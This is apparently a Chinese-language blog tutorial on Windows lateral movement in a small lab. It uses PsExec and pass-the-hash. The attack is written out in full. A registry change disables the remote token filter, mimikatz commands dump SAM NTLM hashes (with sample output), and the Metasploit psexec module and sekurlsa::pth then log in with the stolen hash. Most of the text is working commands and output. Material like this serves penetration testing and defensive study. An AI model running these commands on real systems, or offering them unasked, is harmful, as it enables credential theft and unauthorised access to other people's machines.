psExec简单介绍

psexec

前提:

1、windows10 如果要成功利用 psexec,需要开启一个注册表项:

reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

2、被 psexec 攻击的那个用户必须是管理员

3、psexec 的攻击场景绝不止我写的这一种,还有别的场景。想到或者遇到了再继续写(挖坑)


介绍

环境:

  • A主机 – 靶机
  • B主机 – 已获取权限主机
  • kali – 攻击机

配置:

  • A主机有管理员账户 b , 密码 123456
  • B主机也有管理员账户 b ,密码也是 123456

当不同 windows 之间用户名密码相同的时候, 是可以用 A主机 的凭据登陆 B 主机 的。

这是由于 NTLM 实现的方式。在用户名和密码相同的情况下,生成的 NTLM值是一样的。而 windows 进行校验的方式就是校验 NTLM


假设这样一个攻击场景:获取了 B主机的权限,可是没有爆出来 B主机账户的密码

要横向移动,或者要登陆 B主机的其他用户。可以尝试使用这种方式,也称为 "PTH" (Pass The Hash):尝试用 B主机账户的凭证登陆 A主机账户


B主机 中使用 mimikatz 抓取 密码hash

首先,

开debug,

权限提一提(需要是管理员运行)

1
2
3
privilege::debug

token::elevate


抓取所有的 用户hash

1
2
3
4
5
6
7
8
9
10
11
12
mimikatz # lsadump::sam
Domain : DESKTOP-5FKPQBM
SysKey : 6c1e3e0dc8f36a1e06f243194c8c8dd5
Local SID : S-1-5-21-2569123762-2824401399-3523872291

SAMKey : 08070c62f90e0e087a9ec91fc2d05baa

...
RID : 000003ec (1004)
User : b
Hash NTLM: 32ed87bdb5fdc5e9cba88547376818d4
...


msfconsole

攻击机使用 抓取到的 密码hash,使用 psexecA主机 进行连接

msfconsole 模块 exploit/windows/smb/psexec


设置用户名和 hash。注意 hash 格式:

LM:NTLM

由于 LM08 以上就不用了,所以我们可以固定设置为 32位的0

NTLM就是我们从 mimikatzdump 下来的hash



windows - psExec.exe

windows 也可使用 PsExec.exe 工具进行连接,不过需要在 微软工具包 中进行下载。直接百度搜 psexec 就有了。

B主机 中:

1
PsExec.exe \\A主机 cmd

psexec.exe 默认不加参数,就是使用当前用户的凭据

B 主机 中若想使用 用户b 去连接 A主机,可使用 mimikatz 进行 PTH

1
2
3
4
5
6
7
8
9
10
11
12
mimikatz # lsadump::sam
Domain : DESKTOP-5FKPQBM
SysKey : 6c1e3e0dc8f36a1e06f243194c8c8dd5
Local SID : S-1-5-21-2569123762-2824401399-3523872291

SAMKey : 08070c62f90e0e087a9ec91fc2d05baa

...
RID : 000003ec (1004)
User : b
Hash NTLM: 32ed87bdb5fdc5e9cba88547376818d4
...

注意 Domain 的值用户bHash NTLM

PTH:

1
sekurlsa::pth /user:b /domain:DESKTOP-5FKPQBM /ntlm:32ed87bdb5fdc5e9cba88547376818d4	

虽然调用出来的窗口 whoami 是 system,但是他确实是 用户b 的凭据: